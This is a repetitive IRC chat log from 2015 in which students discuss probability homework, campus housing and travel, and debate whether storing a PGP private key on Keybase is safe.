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[2015-03-08T23:47:37-0400] <+awe> bob_twinkles: the weirdest part is if I'm struggling with this stuff, I don't know what other people are doing
[2015-03-08T23:47:43-0400] <+awe> bob_twinkles: because I'm like 5th in the class
[2015-03-08T23:48:26-0400] <bob_twinkles> dunno dude
[2015-03-08T23:52:03-0400] <+awe> Maybe other people just used markov's inequality for that? but that gives you a bound not an exact answer. .-.
[2015-03-08T23:52:45-0400] <+awe> Which would just tell you that P(X >= k) <= k / p
[2015-03-08T23:53:26-0400] <+awe> erm, 1/kp rather.
[2015-03-08T23:53:44-0400] <+awe> Which is rather useless.
[2015-03-09T00:00:38-0400] <+awe> Would it make sense to say that the probability that X = 5 and the X >= 3 is the same as the probability that X = 5?
[2015-03-09T00:00:45-0400] <+awe> Yes, right?
[2015-03-09T00:02:05-0400] <bob_twinkles> I don't think so?
[2015-03-09T00:02:29-0400] <+awe> Well, the intersection of the event X = 5 and X >= 3 is just X = 5?
[2015-03-09T00:02:32-0400] <bob_twinkles> if you're dealing with probability distributions "the probability that X=5" isn't usually a super meaningful statement
[2015-03-09T00:02:37-0400] <bob_twinkles> oh, yeah
[2015-03-09T00:02:50-0400] <bob_twinkles> I'm thinking of probability density distributions
[2015-03-09T00:02:55-0400] <+awe> Probably.
[2015-03-09T00:03:06-0400] <bob_twinkles> important difference there >_>
[2015-03-09T00:03:21-0400] <+awe> I feel like that sounds right. The intersection of {3, 4, 5, ...} and {5} is defs {5}.
[2015-03-09T00:03:22-0400] <+awe> lol
[2015-03-09T00:03:45-0400] <+awe> Let A be the event that X is a multiple of three. What is the value of P(A)?
[2015-03-09T00:03:46-0400] <+awe> Wat.
[2015-03-09T00:03:53-0400] <+awe> Seriously, wow.
[2015-03-09T00:03:56-0400] <+awe> This is brutal.
[2015-03-09T00:05:45-0400] <+awe> So much infinite series stuff.
[2015-03-09T00:10:35-0400] <+awe> Oh, wait. I think I know how to do this.
[2015-03-09T00:13:49-0400] <+awe> Well, defining another random variable as a function of the one I have.
[2015-03-09T00:13:56-0400] <+awe> But I still don't know how to solve that really.
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[2015-03-09T02:04:43-0400] <+awe> OH
[2015-03-09T02:04:46-0400] <+awe> I forgot to tell you all.
[2015-03-09T02:04:55-0400] <+awe> I got an email back from the great professorial one again.
[2015-03-09T02:05:34-0400] <+awe> He apologized for taking so long to email me back, said time is of the essence, and then asked me to confirm that I still want him to request one for me.
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[2015-03-09T02:21:51-0400] <Hyper> lol
[2015-03-09T02:26:39-0400] <+awe> But you know, sounds like it's actually going to happen, at least.
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[2015-03-09T05:29:49-0400] <apothy> awe: yay :D
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[2015-03-09T08:33:43-0400] <JacobEdelman> I have rearrived
[2015-03-09T08:47:45-0400] <apothy> Salutations
[2015-03-09T08:47:55-0400] <apothy> My flight got delayed
[2015-03-09T08:47:56-0400] <apothy> Again
[2015-03-09T08:48:03-0400] <apothy> #jetpoo
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[2015-03-09T10:01:38-0400] <JacobEdelman> ahh
[2015-03-09T10:01:56-0400] <JacobEdelman> solution: steal a disney ride and ride it home
[2015-03-09T10:02:02-0400] <JacobEdelman> I hear the roller coasters are fast
[2015-03-09T10:11:53-0400] <apothy> Not really.
[2015-03-09T10:12:27-0400] <apothy> Disney World is more of a family amusement park. They can't really have intense roller coasters.
[2015-03-09T10:12:38-0400] <+awe> Yeah, they're all pretty bad.
[2015-03-09T10:12:49-0400] <+awe> Six Flags has better rides.
[2015-03-09T10:13:18-0400] <+awe> As does Universal.
[2015-03-09T10:15:21-0400] <+awe> Also, today's the day I found out if I can live in a single.
[2015-03-09T10:17:15-0400] <JacobEdelman> find out or found out?
[2015-03-09T10:18:18-0400] <+awe> Find out.
[2015-03-09T10:18:23-0400] <+awe> Why did I say found?
[2015-03-09T10:18:24-0400] <+awe> I don't know.
[2015-03-09T10:18:31-0400] <+awe> I'll find out at 1:10.
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[2015-03-09T10:27:15-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-08T23:52:03-0400] <+awe> Maybe other people just used markov's inequality for that? but that gives you a bound not an exact answer. .-.
[2015-03-08T23:52:45-0400] <+awe> Which would just tell you that P(X >= k) <= k / p
[2015-03-08T23:53:26-0400] <+awe> erm, 1/kp rather.
[2015-03-08T23:53:44-0400] <+awe> Which is rather useless.
[2015-03-09T00:00:38-0400] <+awe> Would it make sense to say that the probability that X = 5 and the X >= 3 is the same as the probability that X = 5?
[2015-03-09T00:00:45-0400] <+awe> Yes, right?
[2015-03-09T00:02:05-0400] <bob_twinkles> I don't think so?
[2015-03-09T00:02:29-0400] <+awe> Well, the intersection of the event X = 5 and X >= 3 is just X = 5?
[2015-03-09T00:02:32-0400] <bob_twinkles> if you're dealing with probability distributions "the probability that X=5" isn't usually a super meaningful statement
[2015-03-09T00:02:37-0400] <bob_twinkles> oh, yeah
[2015-03-09T00:02:50-0400] <bob_twinkles> I'm thinking of probability density distributions
[2015-03-09T00:02:55-0400] <+awe> Probably.
[2015-03-09T00:03:06-0400] <bob_twinkles> important difference there >_>
[2015-03-09T00:03:21-0400] <+awe> I feel like that sounds right. The intersection of {3, 4, 5, ...} and {5} is defs {5}.
[2015-03-09T00:03:22-0400] <+awe> lol
[2015-03-09T00:03:45-0400] <+awe> Let A be the event that X is a multiple of three. What is the value of P(A)?
[2015-03-09T00:03:46-0400] <+awe> Wat.
[2015-03-09T00:03:53-0400] <+awe> Seriously, wow.
[2015-03-09T00:03:56-0400] <+awe> This is brutal.
[2015-03-09T00:05:45-0400] <+awe> So much infinite series stuff.
[2015-03-09T00:10:35-0400] <+awe> Oh, wait. I think I know how to do this.
[2015-03-09T00:13:49-0400] <+awe> Well, defining another random variable as a function of the one I have.
[2015-03-09T00:13:56-0400] <+awe> But I still don't know how to solve that really.
[2015-03-09T02:04:43-0400] <+awe> OH
[2015-03-09T02:04:46-0400] <+awe> I forgot to tell you all.
[2015-03-09T02:04:55-0400] <+awe> I got an email back from the great professorial one again.
[2015-03-09T02:05:34-0400] <+awe> He apologized for taking so long to email me back, said time is of the essence, and then asked me to confirm that I still want him to request one for me.
[2015-03-09T02:21:51-0400] <Hyper> lol
[2015-03-09T02:26:39-0400] <+awe> But you know, sounds like it's actually going to happen, at least.
[2015-03-09T05:29:49-0400] <apothy> awe: yay :D
[2015-03-09T08:33:43-0400] <JacobEdelman> I have rearrived
[2015-03-09T08:47:45-0400] <apothy> Salutations
[2015-03-09T08:47:55-0400] <apothy> My flight got delayed
[2015-03-09T08:47:56-0400] <apothy> Again
[2015-03-09T08:48:03-0400] <apothy> #jetpoo
[2015-03-09T10:01:38-0400] <JacobEdelman> ahh
[2015-03-09T10:01:56-0400] <JacobEdelman> solution: steal a disney ride and ride it home
[2015-03-09T10:02:02-0400] <JacobEdelman> I hear the roller coasters are fast
[2015-03-09T10:11:53-0400] <apothy> Not really.
[2015-03-09T10:12:27-0400] <apothy> Disney World is more of a family amusement park. They can't really have intense roller coasters.
[2015-03-09T10:12:38-0400] <+awe> Yeah, they're all pretty bad.
[2015-03-09T10:12:49-0400] <+awe> Six Flags has better rides.
[2015-03-09T10:13:18-0400] <+awe> As does Universal.
[2015-03-09T10:15:21-0400] <+awe> Also, today's the day I found out if I can live in a single.
[2015-03-09T10:17:15-0400] <JacobEdelman> find out or found out?
[2015-03-09T10:18:18-0400] <+awe> Find out.
[2015-03-09T10:18:23-0400] <+awe> Why did I say found?
[2015-03-09T10:18:24-0400] <+awe> I don't know.
[2015-03-09T10:18:31-0400] <+awe> I'll find out at 1:10.
[2015-03-09T10:18:55-0400] <apothy> Oh cool
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[2015-03-09T10:27:35-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-08T23:52:03-0400] <+awe> Maybe other people just used markov's inequality for that? but that gives you a bound not an exact answer. .-.
[2015-03-08T23:52:45-0400] <+awe> Which would just tell you that P(X >= k) <= k / p
[2015-03-08T23:53:26-0400] <+awe> erm, 1/kp rather.
[2015-03-08T23:53:44-0400] <+awe> Which is rather useless.
[2015-03-09T00:00:38-0400] <+awe> Would it make sense to say that the probability that X = 5 and the X >= 3 is the same as the probability that X = 5?
[2015-03-09T00:00:45-0400] <+awe> Yes, right?
[2015-03-09T00:02:05-0400] <bob_twinkles> I don't think so?
[2015-03-09T00:02:29-0400] <+awe> Well, the intersection of the event X = 5 and X >= 3 is just X = 5?
[2015-03-09T00:02:32-0400] <bob_twinkles> if you're dealing with probability distributions "the probability that X=5" isn't usually a super meaningful statement
[2015-03-09T00:02:37-0400] <bob_twinkles> oh, yeah
[2015-03-09T00:02:50-0400] <bob_twinkles> I'm thinking of probability density distributions
[2015-03-09T00:02:55-0400] <+awe> Probably.
[2015-03-09T00:03:06-0400] <bob_twinkles> important difference there >_>
[2015-03-09T00:03:21-0400] <+awe> I feel like that sounds right. The intersection of {3, 4, 5, ...} and {5} is defs {5}.
[2015-03-09T00:03:22-0400] <+awe> lol
[2015-03-09T00:03:45-0400] <+awe> Let A be the event that X is a multiple of three. What is the value of P(A)?
[2015-03-09T00:03:46-0400] <+awe> Wat.
[2015-03-09T00:03:53-0400] <+awe> Seriously, wow.
[2015-03-09T00:03:56-0400] <+awe> This is brutal.
[2015-03-09T00:05:45-0400] <+awe> So much infinite series stuff.
[2015-03-09T00:10:35-0400] <+awe> Oh, wait. I think I know how to do this.
[2015-03-09T00:13:49-0400] <+awe> Well, defining another random variable as a function of the one I have.
[2015-03-09T00:13:56-0400] <+awe> But I still don't know how to solve that really.
[2015-03-09T02:04:43-0400] <+awe> OH
[2015-03-09T02:04:46-0400] <+awe> I forgot to tell you all.
[2015-03-09T02:04:55-0400] <+awe> I got an email back from the great professorial one again.
[2015-03-09T02:05:34-0400] <+awe> He apologized for taking so long to email me back, said time is of the essence, and then asked me to confirm that I still want him to request one for me.
[2015-03-09T02:21:51-0400] <Hyper> lol
[2015-03-09T02:26:39-0400] <+awe> But you know, sounds like it's actually going to happen, at least.
[2015-03-09T05:29:49-0400] <apothy> awe: yay :D
[2015-03-09T08:33:43-0400] <JacobEdelman> I have rearrived
[2015-03-09T08:47:45-0400] <apothy> Salutations
[2015-03-09T08:47:55-0400] <apothy> My flight got delayed
[2015-03-09T08:47:56-0400] <apothy> Again
[2015-03-09T08:48:03-0400] <apothy> #jetpoo
[2015-03-09T10:01:38-0400] <JacobEdelman> ahh
[2015-03-09T10:01:56-0400] <JacobEdelman> solution: steal a disney ride and ride it home
[2015-03-09T10:02:02-0400] <JacobEdelman> I hear the roller coasters are fast
[2015-03-09T10:11:53-0400] <apothy> Not really.
[2015-03-09T10:12:27-0400] <apothy> Disney World is more of a family amusement park. They can't really have intense roller coasters.
[2015-03-09T10:12:38-0400] <+awe> Yeah, they're all pretty bad.
[2015-03-09T10:12:49-0400] <+awe> Six Flags has better rides.
[2015-03-09T10:13:18-0400] <+awe> As does Universal.
[2015-03-09T10:15:21-0400] <+awe> Also, today's the day I found out if I can live in a single.
[2015-03-09T10:17:15-0400] <JacobEdelman> find out or found out?
[2015-03-09T10:18:18-0400] <+awe> Find out.
[2015-03-09T10:18:23-0400] <+awe> Why did I say found?
[2015-03-09T10:18:24-0400] <+awe> I don't know.
[2015-03-09T10:18:31-0400] <+awe> I'll find out at 1:10.
[2015-03-09T10:18:55-0400] <apothy> Oh cool
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[2015-03-09T10:32:14-0400] <+awe> But from the first housing appointment that happened, only 2 were taken.
[2015-03-09T10:32:15-0400] <+awe> So, I'm hopeful.
[2015-03-09T10:32:29-0400] <JacobEdelman> good luck!
[2015-03-09T10:32:49-0400] <+awe> Over the summer, I'll get to live in the on-campus apartments which is cool.
[2015-03-09T10:33:02-0400] <+awe> They're hella expensive. ($5,500/semester)
[2015-03-09T11:05:12-0400] <JacobEdelman> hmm... any ideas of what I can do with custom, dynamically generated file systems?
[2015-03-09T11:07:04-0400] <JacobEdelman> hmmm... I could hook it up to keybase, and make it so files are decrypted with given keybase users authorization
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[2015-03-09T11:28:47-0400] <+awe> JacobEdelman: wat
[2015-03-09T11:28:59-0400] <+awe> JacobEdelman: are you one of the morons who hosts their private key on Keybase?
[2015-03-09T11:29:03-0400] <JacobEdelman> ....
[2015-03-09T11:29:09-0400] <JacobEdelman> I trust keybase more than I trust myself
[2015-03-09T11:29:12-0400] <JacobEdelman> why is that bad?
[2015-03-09T11:29:15-0400] <+awe> That's horrible.
[2015-03-09T11:29:30-0400] <+awe> You should keep your key on your computer.
[2015-03-09T11:29:41-0400] <JacobEdelman> why is it so important?
[2015-03-09T11:30:16-0400] <+awe> ...
[2015-03-09T11:30:35-0400] <JacobEdelman> why? I mean, I trust keybase to work reasonably well
[2015-03-09T11:30:37-0400] <+awe> Because firstly, a government subpoena can force keybase to hand over your key to the government. 
[2015-03-09T11:30:50-0400] <+awe> Secondly, if there's a single compromise, you have to throw out your key entirely.
[2015-03-09T11:30:52-0400] <JacobEdelman> hmm... true, but thats not my biggest worry
[2015-03-09T11:31:17-0400] <+awe> Governments getting the ability to "prove" that they're you is terrifying.
[2015-03-09T11:31:18-0400] <JacobEdelman> if I ever wanted to keep something from the government, I would still leave me main private key on keybase
[2015-03-09T11:31:24-0400] <+awe> .-.
[2015-03-09T11:31:34-0400] <+awe> nezorg: pls
[2015-03-09T11:31:58-0400] <+awe> There's barely even a point to having a key if you're not going to hold it yourself.
[2015-03-09T11:32:00-0400] <JacobEdelman> theres no one here to help you! muhahahah!
[2015-03-09T11:32:18-0400] <JacobEdelman> yes, there is, its just that the key becomes only as good as my password
[2015-03-09T11:32:34-0400] <+awe> You're horrible.
[2015-03-09T11:32:38-0400] <JacobEdelman> why?
[2015-03-09T11:32:43-0400] <JacobEdelman> my password for keybase is pretty darn good
[2015-03-09T11:32:48-0400] <+awe> Because they have infinite time to try to crack that.
[2015-03-09T11:32:55-0400] <+awe> They can put it on 10,000 machines.
[2015-03-09T11:32:55-0400] <JacobEdelman> yes, but thats not enough
[2015-03-09T11:32:59-0400] <+awe> Yes, it is.
[2015-03-09T11:33:06-0400] <JacobEdelman> no
[2015-03-09T11:33:09-0400] <JacobEdelman> first of all
[2015-03-09T11:33:15-0400] <+awe> What are the details of your key?
[2015-03-09T11:33:19-0400] <+awe> RSA 2048?
[2015-03-09T11:33:37-0400] <JacobEdelman> maybe?
[2015-03-09T11:33:38-0400] <JacobEdelman> not sure
[2015-03-09T11:33:41-0400] <+awe> Okay.
[2015-03-09T11:33:43-0400] <JacobEdelman> whatever keybase provides
[2015-03-09T11:33:43-0400] <+awe> So, it probably is.
[2015-03-09T11:33:50-0400] <+awe> Maybe RSA 4096.
[2015-03-09T11:34:00-0400] <+awe> Now, what if it turns out the government actually has a backdoor in RSA?
[2015-03-09T11:34:08-0400] <+awe> And that they can crack it faster.
[2015-03-09T11:34:12-0400] <+awe> OR.
[2015-03-09T11:34:23-0400] <+awe> Who's the first person who's going to have a quantum computer?
[2015-03-09T11:34:29-0400] <+awe> Hint: it's the government of the United States of America.
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[2015-03-09T11:34:54-0400] <+awe> (Or I guess theoretically Germany. But that's not really better.)
[2015-03-09T11:35:31-0400] <JacobEdelman> if the gov really wants to come after me
[2015-03-09T11:35:38-0400] <JacobEdelman> there is nothing I can do to stop them
[2015-03-09T11:36:00-0400] <+awe> Why even have a private key then?
[2015-03-09T11:36:01-0400] <JacobEdelman> (if they want so much that they are willing to risk the discovery that they have a quantum computer)
[2015-03-09T11:36:09-0400] <JacobEdelman> too stop non-governmental entities
[2015-03-09T11:36:10-0400] <+awe> They wouldn't have to risk that discovery?
[2015-03-09T11:36:19-0400] <JacobEdelman> and to stop the govnerment from being able to get it easily
[2015-03-09T11:36:22-0400] <+awe> Non-governmental entities aren't really the ones you need to be scared of.
[2015-03-09T11:36:41-0400] <+awe> And the ones that are have the same resources as the government.
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[2015-03-09T11:48:45-0400] <nezorg> awe: what?
[2015-03-09T11:49:00-0400] <+awe> nezorg: He hosts his private key on Keybase.
[2015-03-09T11:49:15-0400] <nezorg> yeah, that's a little strange
[2015-03-09T11:49:59-0400] <nezorg> I could understand google or something, seeing as a lot of people trust them with pretty much everything already
[2015-03-09T11:50:10-0400] <nezorg> but I wouldn't trust keybase
[2015-03-09T11:50:15-0400] <nezorg> (nor google in my case)
[2015-03-09T11:51:05-0400] <+awe> People who trust Google almost deserve to have their information sold and traded (as it most definitely is).
[2015-03-09T12:04:26-0400] <+awe> To quote Benjamin Franklin, Those who would give up essential Privacy, to purchase a little temporary Convenience, deserve neither Privacy nor Convenience.
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[2015-03-09T11:30:38-0400] <+awe> Because firstly, a government subpoena can force keybase to hand over your key to the government. 
[2015-03-09T11:30:51-0400] <+awe> Secondly, if there's a single compromise, you have to throw out your key entirely.
[2015-03-09T11:30:53-0400] <JacobEdelman> hmm... true, but thats not my biggest worry
[2015-03-09T11:31:18-0400] <+awe> Governments getting the ability to "prove" that they're you is terrifying.
[2015-03-09T11:31:19-0400] <JacobEdelman> if I ever wanted to keep something from the government, I would still leave me main private key on keybase
[2015-03-09T11:31:25-0400] <+awe> .-.
[2015-03-09T11:31:35-0400] <+awe> nezorg: pls
[2015-03-09T11:31:59-0400] <+awe> There's barely even a point to having a key if you're not going to hold it yourself.
[2015-03-09T11:32:01-0400] <JacobEdelman> theres no one here to help you! muhahahah!
[2015-03-09T11:32:19-0400] <JacobEdelman> yes, there is, its just that the key becomes only as good as my password
[2015-03-09T11:32:34-0400] <+awe> You're horrible.
[2015-03-09T11:32:38-0400] <JacobEdelman> why?
[2015-03-09T11:32:44-0400] <JacobEdelman> my password for keybase is pretty darn good
[2015-03-09T11:32:48-0400] <+awe> Because they have infinite time to try to crack that.
[2015-03-09T11:32:55-0400] <+awe> They can put it on 10,000 machines.
[2015-03-09T11:32:56-0400] <JacobEdelman> yes, but thats not enough
[2015-03-09T11:32:59-0400] <+awe> Yes, it is.
[2015-03-09T11:33:06-0400] <JacobEdelman> no
[2015-03-09T11:33:09-0400] <JacobEdelman> first of all
[2015-03-09T11:33:17-0400] <+awe> What are the details of your key?
[2015-03-09T11:33:20-0400] <+awe> RSA 2048?
[2015-03-09T11:33:38-0400] <JacobEdelman> maybe?
[2015-03-09T11:33:39-0400] <JacobEdelman> not sure
[2015-03-09T11:33:42-0400] <+awe> Okay.
[2015-03-09T11:33:43-0400] <JacobEdelman> whatever keybase provides
[2015-03-09T11:33:44-0400] <+awe> So, it probably is.
[2015-03-09T11:33:50-0400] <+awe> Maybe RSA 4096.
[2015-03-09T11:34:01-0400] <+awe> Now, what if it turns out the government actually has a backdoor in RSA?
[2015-03-09T11:34:08-0400] <+awe> And that they can crack it faster.
[2015-03-09T11:34:12-0400] <+awe> OR.
[2015-03-09T11:34:24-0400] <+awe> Who's the first person who's going to have a quantum computer?
[2015-03-09T11:34:30-0400] <+awe> Hint: it's the government of the United States of America.
[2015-03-09T11:34:54-0400] <+awe> (Or I guess theoretically Germany. But that's not really better.)
[2015-03-09T11:35:32-0400] <JacobEdelman> if the gov really wants to come after me
[2015-03-09T11:35:39-0400] <JacobEdelman> there is nothing I can do to stop them
[2015-03-09T11:36:01-0400] <+awe> Why even have a private key then?
[2015-03-09T11:36:02-0400] <JacobEdelman> (if they want so much that they are willing to risk the discovery that they have a quantum computer)
[2015-03-09T11:36:10-0400] <JacobEdelman> too stop non-governmental entities
[2015-03-09T11:36:10-0400] <+awe> They wouldn't have to risk that discovery?
[2015-03-09T11:36:19-0400] <JacobEdelman> and to stop the govnerment from being able to get it easily
[2015-03-09T11:36:22-0400] <+awe> Non-governmental entities aren't really the ones you need to be scared of.
[2015-03-09T11:36:41-0400] <+awe> And the ones that are have the same resources as the government.
[2015-03-09T11:48:45-0400] <nezorg> awe: what?
[2015-03-09T11:49:00-0400] <+awe> nezorg: He hosts his private key on Keybase.
[2015-03-09T11:49:15-0400] <nezorg> yeah, that's a little strange
[2015-03-09T11:49:59-0400] <nezorg> I could understand google or something, seeing as a lot of people trust them with pretty much everything already
[2015-03-09T11:50:10-0400] <nezorg> but I wouldn't trust keybase
[2015-03-09T11:50:15-0400] <nezorg> (nor google in my case)
[2015-03-09T11:51:05-0400] <+awe> People who trust Google almost deserve to have their information sold and traded (as it most definitely is).
[2015-03-09T12:04:26-0400] <+awe> To quote Benjamin Franklin, Those who would give up essential Privacy, to purchase a little temporary Convenience, deserve neither Privacy nor Convenience.
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[2015-03-09T13:05:59-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-09T11:30:51-0400] <+awe> Secondly, if there's a single compromise, you have to throw out your key entirely.
[2015-03-09T11:30:53-0400] <JacobEdelman> hmm... true, but thats not my biggest worry
[2015-03-09T11:31:18-0400] <+awe> Governments getting the ability to "prove" that they're you is terrifying.
[2015-03-09T11:31:19-0400] <JacobEdelman> if I ever wanted to keep something from the government, I would still leave me main private key on keybase
[2015-03-09T11:31:25-0400] <+awe> .-.
[2015-03-09T11:31:35-0400] <+awe> nezorg: pls
[2015-03-09T11:31:59-0400] <+awe> There's barely even a point to having a key if you're not going to hold it yourself.
[2015-03-09T11:32:01-0400] <JacobEdelman> theres no one here to help you! muhahahah!
[2015-03-09T11:32:19-0400] <JacobEdelman> yes, there is, its just that the key becomes only as good as my password
[2015-03-09T11:32:34-0400] <+awe> You're horrible.
[2015-03-09T11:32:38-0400] <JacobEdelman> why?
[2015-03-09T11:32:44-0400] <JacobEdelman> my password for keybase is pretty darn good
[2015-03-09T11:32:48-0400] <+awe> Because they have infinite time to try to crack that.
[2015-03-09T11:32:55-0400] <+awe> They can put it on 10,000 machines.
[2015-03-09T11:32:56-0400] <JacobEdelman> yes, but thats not enough
[2015-03-09T11:32:59-0400] <+awe> Yes, it is.
[2015-03-09T11:33:06-0400] <JacobEdelman> no
[2015-03-09T11:33:09-0400] <JacobEdelman> first of all
[2015-03-09T11:33:17-0400] <+awe> What are the details of your key?
[2015-03-09T11:33:20-0400] <+awe> RSA 2048?
[2015-03-09T11:33:38-0400] <JacobEdelman> maybe?
[2015-03-09T11:33:39-0400] <JacobEdelman> not sure
[2015-03-09T11:33:42-0400] <+awe> Okay.
[2015-03-09T11:33:43-0400] <JacobEdelman> whatever keybase provides
[2015-03-09T11:33:44-0400] <+awe> So, it probably is.
[2015-03-09T11:33:50-0400] <+awe> Maybe RSA 4096.
[2015-03-09T11:34:01-0400] <+awe> Now, what if it turns out the government actually has a backdoor in RSA?
[2015-03-09T11:34:08-0400] <+awe> And that they can crack it faster.
[2015-03-09T11:34:12-0400] <+awe> OR.
[2015-03-09T11:34:24-0400] <+awe> Who's the first person who's going to have a quantum computer?
[2015-03-09T11:34:30-0400] <+awe> Hint: it's the government of the United States of America.
[2015-03-09T11:34:54-0400] <+awe> (Or I guess theoretically Germany. But that's not really better.)
[2015-03-09T11:35:32-0400] <JacobEdelman> if the gov really wants to come after me
[2015-03-09T11:35:39-0400] <JacobEdelman> there is nothing I can do to stop them
[2015-03-09T11:36:01-0400] <+awe> Why even have a private key then?
[2015-03-09T11:36:02-0400] <JacobEdelman> (if they want so much that they are willing to risk the discovery that they have a quantum computer)
[2015-03-09T11:36:10-0400] <JacobEdelman> too stop non-governmental entities
[2015-03-09T11:36:10-0400] <+awe> They wouldn't have to risk that discovery?
[2015-03-09T11:36:19-0400] <JacobEdelman> and to stop the govnerment from being able to get it easily
[2015-03-09T11:36:22-0400] <+awe> Non-governmental entities aren't really the ones you need to be scared of.
[2015-03-09T11:36:41-0400] <+awe> And the ones that are have the same resources as the government.
[2015-03-09T11:48:45-0400] <nezorg> awe: what?
[2015-03-09T11:49:00-0400] <+awe> nezorg: He hosts his private key on Keybase.
[2015-03-09T11:49:15-0400] <nezorg> yeah, that's a little strange
[2015-03-09T11:49:59-0400] <nezorg> I could understand google or something, seeing as a lot of people trust them with pretty much everything already
[2015-03-09T11:50:10-0400] <nezorg> but I wouldn't trust keybase
[2015-03-09T11:50:15-0400] <nezorg> (nor google in my case)
[2015-03-09T11:51:05-0400] <+awe> People who trust Google almost deserve to have their information sold and traded (as it most definitely is).
[2015-03-09T12:04:26-0400] <+awe> To quote Benjamin Franklin, Those who would give up essential Privacy, to purchase a little temporary Convenience, deserve neither Privacy nor Convenience.
[2015-03-09T12:33:47-0400] <JacobEdelman> awe: to paraphrase Benjamin Franklin, Electrons should have a negative charge!
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[2015-03-09T13:10:18-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-09T11:30:51-0400] <+awe> Secondly, if there's a single compromise, you have to throw out your key entirely.
[2015-03-09T11:30:53-0400] <JacobEdelman> hmm... true, but thats not my biggest worry
[2015-03-09T11:31:18-0400] <+awe> Governments getting the ability to "prove" that they're you is terrifying.
[2015-03-09T11:31:19-0400] <JacobEdelman> if I ever wanted to keep something from the government, I would still leave me main private key on keybase
[2015-03-09T11:31:25-0400] <+awe> .-.
[2015-03-09T11:31:35-0400] <+awe> nezorg: pls
[2015-03-09T11:31:59-0400] <+awe> There's barely even a point to having a key if you're not going to hold it yourself.
[2015-03-09T11:32:01-0400] <JacobEdelman> theres no one here to help you! muhahahah!
[2015-03-09T11:32:19-0400] <JacobEdelman> yes, there is, its just that the key becomes only as good as my password
[2015-03-09T11:32:34-0400] <+awe> You're horrible.
[2015-03-09T11:32:38-0400] <JacobEdelman> why?
[2015-03-09T11:32:44-0400] <JacobEdelman> my password for keybase is pretty darn good
[2015-03-09T11:32:48-0400] <+awe> Because they have infinite time to try to crack that.
[2015-03-09T11:32:55-0400] <+awe> They can put it on 10,000 machines.
[2015-03-09T11:32:56-0400] <JacobEdelman> yes, but thats not enough
[2015-03-09T11:32:59-0400] <+awe> Yes, it is.
[2015-03-09T11:33:06-0400] <JacobEdelman> no
[2015-03-09T11:33:09-0400] <JacobEdelman> first of all
[2015-03-09T11:33:17-0400] <+awe> What are the details of your key?
[2015-03-09T11:33:20-0400] <+awe> RSA 2048?
[2015-03-09T11:33:38-0400] <JacobEdelman> maybe?
[2015-03-09T11:33:39-0400] <JacobEdelman> not sure
[2015-03-09T11:33:42-0400] <+awe> Okay.
[2015-03-09T11:33:43-0400] <JacobEdelman> whatever keybase provides
[2015-03-09T11:33:44-0400] <+awe> So, it probably is.
[2015-03-09T11:33:50-0400] <+awe> Maybe RSA 4096.
[2015-03-09T11:34:01-0400] <+awe> Now, what if it turns out the government actually has a backdoor in RSA?
[2015-03-09T11:34:08-0400] <+awe> And that they can crack it faster.
[2015-03-09T11:34:12-0400] <+awe> OR.
[2015-03-09T11:34:24-0400] <+awe> Who's the first person who's going to have a quantum computer?
[2015-03-09T11:34:30-0400] <+awe> Hint: it's the government of the United States of America.
[2015-03-09T11:34:54-0400] <+awe> (Or I guess theoretically Germany. But that's not really better.)
[2015-03-09T11:35:32-0400] <JacobEdelman> if the gov really wants to come after me
[2015-03-09T11:35:39-0400] <JacobEdelman> there is nothing I can do to stop them
[2015-03-09T11:36:01-0400] <+awe> Why even have a private key then?
[2015-03-09T11:36:02-0400] <JacobEdelman> (if they want so much that they are willing to risk the discovery that they have a quantum computer)
[2015-03-09T11:36:10-0400] <JacobEdelman> too stop non-governmental entities
[2015-03-09T11:36:10-0400] <+awe> They wouldn't have to risk that discovery?
[2015-03-09T11:36:19-0400] <JacobEdelman> and to stop the govnerment from being able to get it easily
[2015-03-09T11:36:22-0400] <+awe> Non-governmental entities aren't really the ones you need to be scared of.
[2015-03-09T11:36:41-0400] <+awe> And the ones that are have the same resources as the government.
[2015-03-09T11:48:45-0400] <nezorg> awe: what?
[2015-03-09T11:49:00-0400] <+awe> nezorg: He hosts his private key on Keybase.
[2015-03-09T11:49:15-0400] <nezorg> yeah, that's a little strange
[2015-03-09T11:49:59-0400] <nezorg> I could understand google or something, seeing as a lot of people trust them with pretty much everything already
[2015-03-09T11:50:10-0400] <nezorg> but I wouldn't trust keybase
[2015-03-09T11:50:15-0400] <nezorg> (nor google in my case)
[2015-03-09T11:51:05-0400] <+awe> People who trust Google almost deserve to have their information sold and traded (as it most definitely is).
[2015-03-09T12:04:26-0400] <+awe> To quote Benjamin Franklin, Those who would give up essential Privacy, to purchase a little temporary Convenience, deserve neither Privacy nor Convenience.
[2015-03-09T12:33:47-0400] <JacobEdelman> awe: to paraphrase Benjamin Franklin, Electrons should have a negative charge!
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[2015-03-09T13:31:42-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-09T11:31:25-0400] <+awe> .-.
[2015-03-09T11:31:35-0400] <+awe> nezorg: pls
[2015-03-09T11:31:59-0400] <+awe> There's barely even a point to having a key if you're not going to hold it yourself.
[2015-03-09T11:32:01-0400] <JacobEdelman> theres no one here to help you! muhahahah!
[2015-03-09T11:32:19-0400] <JacobEdelman> yes, there is, its just that the key becomes only as good as my password
[2015-03-09T11:32:34-0400] <+awe> You're horrible.
[2015-03-09T11:32:38-0400] <JacobEdelman> why?
[2015-03-09T11:32:44-0400] <JacobEdelman> my password for keybase is pretty darn good
[2015-03-09T11:32:48-0400] <+awe> Because they have infinite time to try to crack that.
[2015-03-09T11:32:55-0400] <+awe> They can put it on 10,000 machines.
[2015-03-09T11:32:56-0400] <JacobEdelman> yes, but thats not enough
[2015-03-09T11:32:59-0400] <+awe> Yes, it is.
[2015-03-09T11:33:06-0400] <JacobEdelman> no
[2015-03-09T11:33:09-0400] <JacobEdelman> first of all
[2015-03-09T11:33:17-0400] <+awe> What are the details of your key?
[2015-03-09T11:33:20-0400] <+awe> RSA 2048?
[2015-03-09T11:33:38-0400] <JacobEdelman> maybe?
[2015-03-09T11:33:39-0400] <JacobEdelman> not sure
[2015-03-09T11:33:42-0400] <+awe> Okay.
[2015-03-09T11:33:43-0400] <JacobEdelman> whatever keybase provides
[2015-03-09T11:33:44-0400] <+awe> So, it probably is.
[2015-03-09T11:33:50-0400] <+awe> Maybe RSA 4096.
[2015-03-09T11:34:01-0400] <+awe> Now, what if it turns out the government actually has a backdoor in RSA?
